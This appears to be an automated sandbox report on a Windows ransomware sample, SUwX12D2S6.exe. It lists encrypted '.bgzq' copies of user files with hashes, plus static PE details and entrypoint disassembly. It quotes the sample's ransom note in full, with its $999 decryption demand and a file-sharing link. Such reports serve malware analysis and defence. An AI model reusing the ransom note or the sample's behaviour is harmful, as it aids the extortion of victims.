iWQ.k.s.........C..B(......I.\|dM)...r.....`[^.(...-?.H.[atc..A....d..pFG...4A.ZlQwT.L:.`V...#7l_Z.......U......x..1...L....7I.j...OR.o?.v...Y..s...\|..?.F..!.......d...).HQV.vPtH.......).......~....=.Xj.x&....,.U^.g.#.ej..........-.Gp.>..C..ta...

C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe\Settings\settings.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97603300648438
Encrypted:	false
SSDEEP:	192:+bZHp39qbdIYHbHFzTZ9ZMe5TkkRruPJ/O5F7izlFdxX8w:YZHpNqxpHtZMqokRt5Up9f
MD5:	9262B7BB0ACC22F33A56874D7275883F
SHA1:	D87ED51C5303857791553E3C5C7BAB77CD513961
SHA-256:	37E29B1E9EF80F1FA74C6C5C3D68D1A84C74646B150927BE6A716F17497E3C47
SHA-512:	6958723A63D2B6C50ED0AF04F3A949D8A594DB7D21CBFA8CC4CD8AEA7CABEEBC5038D2C08A14F8C37401C02A425EE81AB9B777C24CA66705062F3CF701B38928
Malicious:	false
Preview:	regf.rb2....D......l...f...F&f..".=...g...[_...m..#.."....9.g...F...C.....b.#...r-;d..X8......+.I.....k};%q..(bL7V...:P.....UO#..n..mY..p.)...y,.>..2vX.P..azv..Q.....P.n.Q.P..l...M^\|..^.A..Uh.+... %?...[T....T\Iw.1.....f=ZI...E.Ma7.......7....;..N8F.<...v.3...+......1.:.b.dO3..;.....O....Y..d..2....9.m{.g...<(Y..U4.:..3....N].YW...N....%..m..6..R.O<W:.0.2........;.ubd..H.{..dk.SA.1C..uUG}....7>C..L......-.)..+...s.9B._..vb.Ue2..#..Y.........}OR.~V..`.........B.+.z.I....<u.. 3.=.8........(.m......U.......^r^OT'z.0r.....C...H>../......wD\|...5I^sP....?...............20L.;....a..j..K..m..(.....M.;...l\<..Z..2.^.Z..Df.e........[...+..a#...J.".....d..l.&..T)...C;[7..=,.QN.y.wW..}..D...F;...p.7...t@.!.-..S..q.o_..........B...>.#.[..jS)......7...P......FMc.&:H..:...[D........[5ca.../.6.~.)..7?qj8.:0r...+....\|!...EM/.C..Om......~...,+.i..X}....m.......FV....P.....v{,P4`aHYqJ.UC...>L.......A.."..X...^...m.....q...{...3})D...b<......&.v....^

C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\Settings\settings.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978562275908217
Encrypted:	false
SSDEEP:	96:NV9AXtE5O7F6L0XuUn5xwVA8J9OblODZ7KI2KbVegT+bUXSi8V8bsNXG0JQA/U05:NVKXT4LDOXwV2ZOsItgF7QyVaZf2Es
MD5:	181BD23B9737BFEC5B5EED176D0EC9F0
SHA1:	BD6E725940674E1E61F1D6FBFEE058E714970037
SHA-256:	7A7082BA6274E09FC94D979B248B9832EFC7994AC72482F4459299AA4DFB4951
SHA-512:	22EB5893E99C24D73825DC1A0CB14F17FECC99305B93BD2D3ACB6EB952EE878F2D7A572FDCB3FCCD251572F1F65091F66366662E892AE0782B373C244D04C584
Malicious:	false
Preview:	regf.L.....<6ul.c..cm.-p.......v.EO..u(..=..N..e..wd.?..x..P....X.{X.....4w....6.y..+,LS....\....u[.....p:.hA...?(..}.Z.AY.$HR../y...=...T.!.I..L.a.. (ZU3.\|.m.b..9..@4'.x'......N.x.g.h..m.. ...wn......ur.Z..<\|.. i.o..L^L_..}....}U.M-.6V.c.....6.K.k..X.}a.."j.9...{.Hjv`_..Y...0M...)..<...{........0<>..b).n.."-u...=.m..8...A.7..;.......cD.ZU.{\|.B...{.P....._T](:$.:.........m.f..(...k..Q..(...K..adQ..y..%..)..D....&..?[8...-K........G.......5#.Lw.h..o!g..x.b..a..D...S.......^1..J..l.<.j. %y.$Mo.6.......;r..+...ac..t=........{..>{.m.......I. ).~..,..W...2..<...2..3.jr.r$.9h.K].>V..\|\|......(.E8...4.j.....U\...y..Ea>.SD..Z..E...3...."...5.......`.nA...2......2.]V...K.Z.^R..w.}4W.y....y...4..L..P"eu...:n.~.,...J..:y...@p...~.M.wV...6....w..F...R.>.}.......xP.xmwg........^j.U%.C..W*.\.k.n.@W.........'.!.q.a.T.[.........f9T...M..t....s.7...t.....9O....U%.q.,..U .A$f#...............m`..m\...lk {LC[L.9.hz.q.<p.K.p=.T..u.9...?.q........ng.f;!U....

C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalState\ThirdPartyNotice.html.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	107523
Entropy (8bit):	7.998391796171724
Encrypted:	true
SSDEEP:	3072:dUrR7c/boRSgBcV88ugJ2wOylD+mGoDBJd1Ncb6R:oRYcSgBnMLcOR
MD5:	A5ADE7299CC77CC7C6E443D7705FCA84
SHA1:	F66B234CEADC959A117CFA3DD18592D4B2847A9C
SHA-256:	86D0C10B8018E1040937A88F6504760E1AC0D829E65A28A1BDEE8E32191732D8
SHA-512:	DD7623D02B24CDDA69F1FFF495FA49401D41EF8A32E0916496332726ECD082F9CD7A28261D541E3B6E4E34CE6CD7794AB7C749E464461F573AE915189581E843
Malicious:	true
Preview:	<!doc&V..fg}n.3v._.y..-..f..A..;JE..J.+../"....F3`E.a...D._.rH........7....<=rK4.d.O...AN...L..r....J.u.....j.6/.D...._....R-....+.\Ay...T.B.s..".[.{t....6.P.x...6..<}....L...z.&..('.Zd...E...8...6.M...j@...`m.A.1.....p..9].:.....;.C{6-.%..5..8.Q$Z..<.....Z.&..Q.....9......S.z...n...B'Z..n.$...kR.......1#&.X...7i.'sV.,...%.1+)..PnR.[.j5.$..-.-..frD.Y.............J.0W..D}...[,....T.=.X. ...V.1R@......<:...!9...[....~.:.....H....#...:...hc.....Q.u}.an..@Gy.e...u.%..,..k..3Si..d..I.......Yp<..l.s..3...A9"...H0...U ......#.B.n( ....V......y ].;..{m..}..Ht.z..[.M.D..L>.o...L.m...(]....'..:...T.f.....].M..B..S.x......_B.......k..dq.-.xtb.z{.f....X..<?E......!P3t........3V.1.."V.Ag.....<.s.....o&.... .X............H6.U....~.......ot......+...26w..."Z\..5L.@z..../.jf?m!..w9...?.....rU.\..8."...\I.I).......t.Ib..8.B.bQ...K\..4..]+F.....sO.j-A.....?....83.......TKd...pt.hC...]*.{..X..=i+.....(.5.........}Z\...%.U......kDp....AJ.7(W<.LU

C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\Settings\settings.dat.LOG1.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975009475624269
Encrypted:	false
SSDEEP:	192:1W8SPzOPC0sD1riQADxmuWh0r7xB/3tgdjes:+7Oa0OvADxV1FTQis
MD5:	229B916AC3FA67F5723784338A43BC7D
SHA1:	73AD826918AAB1A892EC4F720FC09EBA89B21FBF
SHA-256:	CBFC95BE5931365DB1749B9FD8A0251E31DD7CE3189CC36397C9209F2E5637E6
SHA-512:	F4540B6890D3A668204A243940148194DCE3DB0392FDE89875F5BF1DAF742406F7CE22768D87B245769DC4B63D88152106067BF42012FC640B15218D1FBCB74B
Malicious:	false
Preview:	regf...2,s.....3.......1i^..FZ4:.........!.+?..}./.:<.].Md...K.8N.e.w.:-"....T..Z..)..wA_!U[..#".]rD.I..3.....Z....ls..G.s.m....P.w.^C......1..r\|q.....eH!...Lt.".....n...L<U..I.X..v............4.DS".`...W.y....O...`..x....J8.....[.g.D...+...y.....E...P.......X..n..;O. ..Y;.$e).Fe3..a.I>...1.+f.... ..&..G"D....}..F3j.@.X.H...oV).Ul&...p.O..cp.n...\9..N'...+....B.}.e..w...f.......i..p.....a.....0.(.N..?...H.b.L...<W..G..A.`qy.h...l;...S4.z.....K;......,e='Ve...\|...}..r..\../.@T.'0...y..A=L.\|.Ap....?..B...-....Kl#P..Q.-....Pu.b..C..hDW.....c.,"..z.e.y...u.....B&.L.....G..%.p]....\|..._....A..^..H{G".............=....!8....0.0....N....f[.y.T}.`I.2.....>.{...`m.P....J.Ixf.o}XG._.....Y..w7.e..?...;g.k...$..........=....9Wo.......~..q....p.T........?IK...^)...3....42.n..6.4.i.sAP.A...`.... A8..q.?...(t...h..PH.%dV.Yq...]. &......[....2..V. .k... u.....c. ..tlb.n..G..]..Z......>V.Z....e......K.....[t..........AG....G......a.p#.1.f.

C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\Settings\settings.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.98014832587167
Encrypted:	false
SSDEEP:	192:pLBxiyVZFixBznvx2XWzldlsRk47GYQ3SvWkzQBPEv3:pLB7V3ovDlddKQ3SvWBPEf
MD5:	C057DCE0818F1289B6E3B1296DD30763
SHA1:	1F7E2B5CFB89788D677CF9CED6E17569B31A486E
SHA-256:	8E9B95B9451E44DA2B616A6EBCEEEDB5280326A7301E51352696B5667FBF6FED
SHA-512:	53B225DA2DA81BDCAB77C87175AD4F9698334CEDD95445C8B568810E946CC7DA6C2709675123BE46DBD2EF85D765634E2163D30FD93E3DEA6E39DC91233A718C
Malicious:	false
Preview:	regf.<..l..O.....4U........5S.%.\B"+xBQ....[.5.{...a!.+......u...f).....+...Y.n3Q0u.X..c.n.M...r....Mu...N.9...E.\|"..k.......f..34.l.l6M.M..+a.b2J....>.K......E.m..:.^Eo.L.......Qc..N.4Z...8....(tk.../\.9D.`.?.N..kJB^..i.6.K.';...C.."?.-._.!......!.K.P...L.._P...#3.".[.Ym.....".=..2.I...BE.../#..J.b...g.S>...VzF...@.Q..=..v~..9.Yy.,:...D..\Dil....{.('#.(.-@.(..G.."..=..~+.....7.W.8..5D.......kB."+"A.y..~....V..wf1..T.9......a4.07=..I.........v&V9......1.P\|..u.}..=....N.s.F..8.;..0....d~/...E.}...3_...GT..~.{.9.N.....[Y4TP....r..=!..EZ..).i.........\^......;.w.0..J...UaB&W...`'......".......L....!{>..N...;g.R..r.r.8..hQ,%.....\|....).Y..e....u...<....<.I..pLPa...H.uB.(K.G.....5b..I...;..?_../..._pK...Va......@<F.....H.F#..-..=)S.o.O....%(.H..[.I......@.t....D?S.c...{...i..o....Z....qDi."(......<L.......K....!.N0.u...........-7..X.ib..)<..-M.Z"C4.,.C..9.........v.....o.t......r.D.qR4[.H.X...G..........u1.(..o...-....Z...d.....e4.....;1.D

C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftSolitaireCollection_8wekyb3d8bbwe\Settings\settings.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979566017696382
Encrypted:	false
SSDEEP:	192:3AvsyywK2VPdqxtBo1BOeacm7cyraXw4ERyUm8z4XvgS5h1Gf:3AvUwK2y3eXOeax+fER77sfd1Gf
MD5:	78027D98C1AC6CF99C6D130AAF8C9479
SHA1:	DD0A1262F02932D2984DDFA1EBD34AB679F6E3BA
SHA-256:	DDE8B2E3E089DAB525EDBEE0EEBC5B620F83706C1C0AA88FFC2177FB386371AF
SHA-512:	E7F49A762DB4EBDBEF5BC77CAD84F41D09D7E58CF9000CE3878D797DC5786B76BDF8D5E2AC1CB1B797FE4CD3B446FCF87232D1A33C8B27C0D72F29A85329DD72
Malicious:	false
Preview:	regf...~ap._........._0.l>...7.h...8...e.X...b#.).e.$.. }..>z.._fh~rM...8jHd.4K..mX.L.Q=X.s.9...L).....t..+.C......J.f.&..m..5.mq.5e...Sea.V?)..=...=..O..3b-..<..6}{.N@.58..1_>....NV.T..B0-QR...k\|D....x../........qp.......n... .iX...V.......Y..e$.2k...Hk..i.....5..b.W.Y.. G..Ry6;.._\|?q..g.@.k..;..p..7....6!....9(=.C....\|..0b~.,.o..Q..9...o..\O.......d...q............^55..W...d........3..h..'.}f....A...Z.l......,L.<$ap.^.}.G.._.ZO.....1...1...`..~&s...k...PbQ.L.e.R..e.......V....K.f[.1qd.&4_..y...({O....Y$......w......6.UO. -..K....}H..l..".gp./P&s.s.....9..y....T.?....b.......+...M...`K.Dzq.-cM..t.P...=.5...2%.H.....Ij............C....b...Y.0.U.. #Y..^.......n`..+......'..0&...eT[...<2Z...~...-n..ba...V`.Oz,.8..F.'.Q...2..SH...Uo...=.]X.[D......f.h.C.0_.ZNbZ...s...._..D..U..:m.....QED...;5\|../.u.[.6c..-I.2.n2 ..............s.1.8..y....,v..$.......1......'.d{O1.Z...EQ.np...>.w.ysh._..G....V.H..*..-....g....oo2...5&....~.T..m.H..

C:\Users\user\Local Settings\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\Settings\settings.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979763837528913
Encrypted:	false
SSDEEP:	192:ivsHz09xifKUWV0p7HQSGvRuhtp0AtVmu+aV+PM79Q:xHz09YfKUHprQknpDVH+asPP
MD5:	E30FF01F057B1A0505145A6A4B41C0A0
SHA1:	A4EE7249DB66DD33D4B2B2E2351DD21688D6AEE6
SHA-256:	F3EF4577F0FB0EDB22FD272E68B7716C848AA52599F1931CEE8C16971C0E7CAA
SHA-512:	266CB703406EEE3CF141E7B6A51E92422F79E323BBF8A136C630DC74C1DA4E2A93D1B57CD29804D29A60A5AFACFCF7A17ACD9C156105335151300BB81B377FB9
Malicious:	false
Preview:	regf...N.L.M.\|%..L.5.4..).V.X..c.g..H.<.i'..Mll..t...`.~.!.....9s.C.M3..`.[O..Zd..........C..H..v....^.Q..<.....V.$.E........(...C.....Sh..q8..P+~Z.}...R.a...:...+.&.H..m.V..f.e....t...{.x7r.....y. ....KyT.>...JY@R.V.T.L7...;.O..#2lg>...n._..ZC4p.......%a}.q.....&...B.L7...{.O...~..l.@..n.........[..\|o....'.y(...-..l&...LC....C.nz...:.R.MfR..5g.tb@.e%.A. ......C.R...........m.$f....o..a6.o...bZ.w..@..x.MB`#(.....Q(...4:7y....._z.z..q;...8...t.8.Hm...D.........'F......\|........#M..=_S..xT...^...\...J.#g..[.....N.v\.V"..q. )..z.e ~G.....0..m@"..#..Y.H^.-......@nB.@).B.).~.i.q....[.......$.;.-.w .?......+........\R&..GJ.'.lJ...F.......4\.....G.}v.....-[P.7 .FMm..S....D).J,..._Pl.n....\|4V.O\|....6a.....G1j..D..k....u..Z '.I..>.q.^..............F.......Rf-.OS..+..M.@...j_\"..!4T..._vT....,\|...d:r"k.F$..)........pt..5.R&.-X....=....9.zu..R1..h.*...Xg...-@y....H.....'.K.......-.1..k.F.}m.g+..y<.D:.0.7.........z..%...j<dYnA2..-.j....:.^..z,k.!..

C:\Users\user\Local Settings\bowsakkdestx.txt.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	895
Entropy (8bit):	7.773758939221008
Encrypted:	false
SSDEEP:	12:YiOrMkvTcoOfzTbGue4vMcN6jqnjpueDhRBB/jrmQ3NLuWHULdlQi/ZsDfIXNjVX:YDrMjOzmMG6j8j4E5B/jr/6DXsDKVbD
MD5:	C458D85847D837EDB94E90A849A08377
SHA1:	89051EED5FD519244BC49E772254965B5528D6D5
SHA-256:	DD976F9C15300D0E905B6A215353AAA677582DF0D6CC1EE35F640F1B3E383828
SHA-512:	57FEAE088114C1E16DDE575722EDC7FC8068CD2C82D15947F061BB9CB1B65978352CE201D945ABD8CD35830870301509EAB90A87D9BF3DED80BE22F316F319F9
Malicious:	false
Preview:	{"pub.b{7.......+.....R.U.....r.8.`..t.<.{..Y.p..L..`..H[.k.q(w.....Ha,....D...{..02..[..#.J..B/....A.......W...E.c..c..........y.Z...............dw...:............\|.(v..dj.r..N....lZ.k.0[=...H.....T...!.B.D......g..5.W..fW..f(.....K.(......9V.y.v.[..V......C\..e.....<d'..Q<_..qq...?...I.y.;.. .b.M.i....-...L7y+;....!..vA.5T. .+...,..b5..x^....%.Q..d......vp./...M....A......E.=.=n....K.:*2.s....<}C..s.{.....W.51.6..J...q\|.]h.F.....A.$yi...>Mt....D...h...@.6...`.6. .:.0....'.T.0.G.2.......!...LPD..n.0.._`...T..........g.+l...`..nE.8B\#.P.!.#........0np..d..j..2as...._.P..zq."J.d.l@'6......3M.....[....E.F...Z..v....0....-.s.o.>x.!.V....y..c:.<:...7....T......X..4p.......... :.\..G.....9)..pE>J..../.....\..{..a....J0..........tS.....i.....X..c'...m...k... Nqz....cx_itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1002}-.searchconnector-ms

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.837316868879863
Encrypted:	false
SSDEEP:	24:DkT5Ipwgrls+gE673HtU9TbSghThwitJ+MomKAkUVbD:Dcg5sjE673HsSuTFttKnUFD
MD5:	A5F74131DAB2EACF016B06D8C907ABA4
SHA1:	8C80ED123059D54A1B5CF3CE92A88D1215E6614E
SHA-256:	A76930E0E11CE5172D184CEEFC9683020F11C93525F035B82CEAE6E3B162CF6E
SHA-512:	E54827452425DCAB74312525230D85BC21565A3ACE270C09F391EF15205830A33BFB027F5FE637486B47EBD8488A215B09455F984D79592C970D08D15494DE1F
Malicious:	false
Preview:	<?xmlC...wN...J1.G.....)GX8o...m.....p..&>.^......P.\.w@.8. ..\.6....{....3F..B.;.y.S...R....l.v..{.{.....(.p.!:.le[]..V..g.kf.<.....HS.Y.....-.{...!.,.....?..sU.+j4.....~+.ri...HJ...lW....1x....a.B.7..J...y.b...h..3.mJl.'...p.qbl..\|2..p.Vl.I..9.g.B8...m..uJ......C.X....@.....bV....N`V..3...L.h...........Al.X.....G?yq.n....R]?....D.-.....\...lm......>j5..5.,..I.....f.A%.e ......5.v\.j....2........WWd..>n..........Y.,.!.V'.........p.lZ..]Qw.?...O..!...^......wc....."..;.T...<U..:S.!}...O....x.6!'2^DL..?.t..F.3..Oz.~S...o.~r......@....X.P.`?.$...<.K.n.....<.g9.B....\g..).4.mU+....0.."3:.....a.j';~..(.&Xvs..(......h.........J......v...K.q.Pz..^rk.WB.._.bj.3....C\|pmq...f..NP(.6.Z.8..@.'.]..oR...Uq.......C.i..........;.e....2..xVyXl...^....~[...wO.q.M,.........8L........P....P......&..".P...[?7$.m.7y.R.b.9R.....x[.=i.;.P....sHgq..\...{...s:.....6 ..l..%w..../3.....Z.+4b.....?.w.aK.........5.X.4X...c:d;...{]..<.$%.3.q..A......x..y..2.:c....{.

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1002}-.searchconnector-ms.bgzq (copy)

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.837316868879863
Encrypted:	false
SSDEEP:	24:DkT5Ipwgrls+gE673HtU9TbSghThwitJ+MomKAkUVbD:Dcg5sjE673HsSuTFttKnUFD
MD5:	A5F74131DAB2EACF016B06D8C907ABA4
SHA1:	8C80ED123059D54A1B5CF3CE92A88D1215E6614E
SHA-256:	A76930E0E11CE5172D184CEEFC9683020F11C93525F035B82CEAE6E3B162CF6E
SHA-512:	E54827452425DCAB74312525230D85BC21565A3ACE270C09F391EF15205830A33BFB027F5FE637486B47EBD8488A215B09455F984D79592C970D08D15494DE1F
Malicious:	false
Preview:	<?xmlC...wN...J1.G.....)GX8o...m.....p..&>.^......P.\.w@.8. ..\.6....{....3F..B.;.y.S...R....l.v..{.{.....(.p.!:.le[]..V..g.kf.<.....HS.Y.....-.{...!.,.....?..sU.+j4.....~+.ri...HJ...lW....1x....a.B.7..J...y.b...h..3.mJl.'...p.qbl..\|2..p.Vl.I..9.g.B8...m..uJ......C.X....@.....bV....N`V..3...L.h...........Al.X.....G?yq.n....R]?....D.-.....\...lm......>j5..5.,..I.....f.A%.e ......5.v\.j....2........WWd..>n..........Y.,.!.V'.........p.lZ..]Qw.?...O..!...^......wc....."..;.T...<U..:S.!}...O....x.6!'2^DL..?.t..F.3..Oz.~S...o.~r......@....X.P.`?.$...<.K.n.....<.g9.B....\g..).4.mU+....0.."3:.....a.j';~..(.&Xvs..(......h.........J......v...K.q.Pz..^rk.WB.._.bj.3....C\|pmq...f..NP(.6.Z.8..@.'.]..oR...Uq.......C.i..........;.e....2..xVyXl...^....~[...wO.q.M,.........8L........P....P......&..".P...[?7$.m.7y.R.b.9R.....x[.=i.;.P....sHgq..\...{...s:.....6 ..l..%w..../3.....Z.+4b.....?.w.aK.........5.X.4X...c:d;...{]..<.$%.3.q..A......x..y..2.:c....{.

C:\Users\user\_README.txt

Download File

Process:	C:\Users\user\AppData\Local\b191416f-b6d0-4993-9bf9-b06958fd5666\SUwX12D2S6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.887762912110015
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWEYNzk5LmFRqrs6314kA+GT/kF5M2/kJw3s:WZHfv0pfNAU5WEYNzoLPs41rDGT0f/kX
MD5:	4CA4E4C152E163E27BF40545F832D28C
SHA1:	592F8EF320B0E69D9189B58D5AB27C71E4B95AB1
SHA-256:	B6847672C899A968614A625608176BA8AD3FDA8A6A442E2BE5D15458BF803C0C
SHA-512:	AE7C8050529F42785A1E8523524E23372DED4AA0C7D5B4425F83B7C744503C15EEFF12B404289F1D9CEAED64FA38362B7BC45B40A1C208B4F094B22FBAF76CBB
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $49

C:\_README.txt

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.887762912110015
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWEYNzk5LmFRqrs6314kA+GT/kF5M2/kJw3s:WZHfv0pfNAU5WEYNzoLPs41rDGT0f/kX
MD5:	4CA4E4C152E163E27BF40545F832D28C
SHA1:	592F8EF320B0E69D9189B58D5AB27C71E4B95AB1
SHA-256:	B6847672C899A968614A625608176BA8AD3FDA8A6A442E2BE5D15458BF803C0C
SHA-512:	AE7C8050529F42785A1E8523524E23372DED4AA0C7D5B4425F83B7C744503C15EEFF12B404289F1D9CEAED64FA38362B7BC45B40A1C208B4F094B22FBAF76CBB
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $49

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.648876634815104
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SUwX12D2S6.exe
File size:	798'720 bytes
MD5:	4b2fb93459b4e03686148d0a1d3c1f00
SHA1:	b16c9e43f7389ba51e1423f676cc61d9ec9d4354
SHA256:	200690de2b973c6f7a702d5129dea09aec57d548cab07e19f012e5a8e0c6ae64
SHA512:	31caad1014245fb375ecaefa11bdacdbf8e661acedf3411f75310e4e8dcf8f9ce8ec11ec17719677fe77afbb3036de07811c4309dbd9251c04edff017947e224
SSDEEP:	12288:5O9ISzaeV1oie7CIXYEEsB7HBDGsqQuXpLyQVbDDzQBlFz+0Zdqbmw3q2MFC:5O7aezoB7/o5sBM/vRD8lFzzdeFtMFC
TLSH:	3305120176E2C4B5E0A3E73144349AA0573FFCB2A975867333982B1F5D7078056A7BBA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%G._a&..a&..a&..lt`.\|&..lt_..&..lt^.M&..h^,.f&..a&...&....Z.`&..ltd.`&....a.`&..Richa&..........................PE..L.....`c...

File Icon


Icon Hash:	411549454145510d

Static PE Info

General

Entrypoint:	0x403f5f
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x636087D8 [Tue Nov 1 02:43:36 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	4844545e0b5ceed300acfd900c0994fb

Entrypoint Preview

Instruction
call 00007F556D311765h
jmp 00007F556D30CBD5h
push 00000014h
push 00418880h
call 00007F556D30DED0h
call 00007F556D311936h
movzx esi, ax
push 00000002h
call 00007F556D3116F8h
pop ecx
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
je 00007F556D30CBD6h
xor ebx, ebx
jmp 00007F556D30CC05h
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007F556D30CBBDh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007F556D30CBAFh
xor ebx, ebx
cmp dword ptr [eax+00400074h], 0Eh
jbe 00007F556D30CBDBh
cmp dword ptr [eax+004000E8h], ebx
setne bl
mov dword ptr [ebp-1Ch], ebx
call 00007F556D31116Bh
test eax, eax
jne 00007F556D30CBDAh
push 0000001Ch
call 00007F556D30CCB1h
pop ecx
call 00007F556D3110C7h
test eax, eax
jne 00007F556D30CBDAh
push 00000010h
call 00007F556D30CCA0h
pop ecx
call 00007F556D311771h
and dword ptr [ebp-04h], 00000000h
call 00007F556D30EFA1h
test eax, eax
jns 00007F556D30CBDAh
push 0000001Bh
call 00007F556D30CC86h
pop ecx
call dword ptr [004110BCh]
mov dword ptr [0409FDDCh], eax
call 00007F556D31178Ch
mov dword ptr [004B232Ch], eax
call 00007F556D31112Fh
test eax, eax
jns 00007F556D30CBDAh

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[IMP] VS2008 SP1 build 30729
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x18cb4	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3ca0000	0x12368	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x11200	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x181e8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x11000	0x18c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
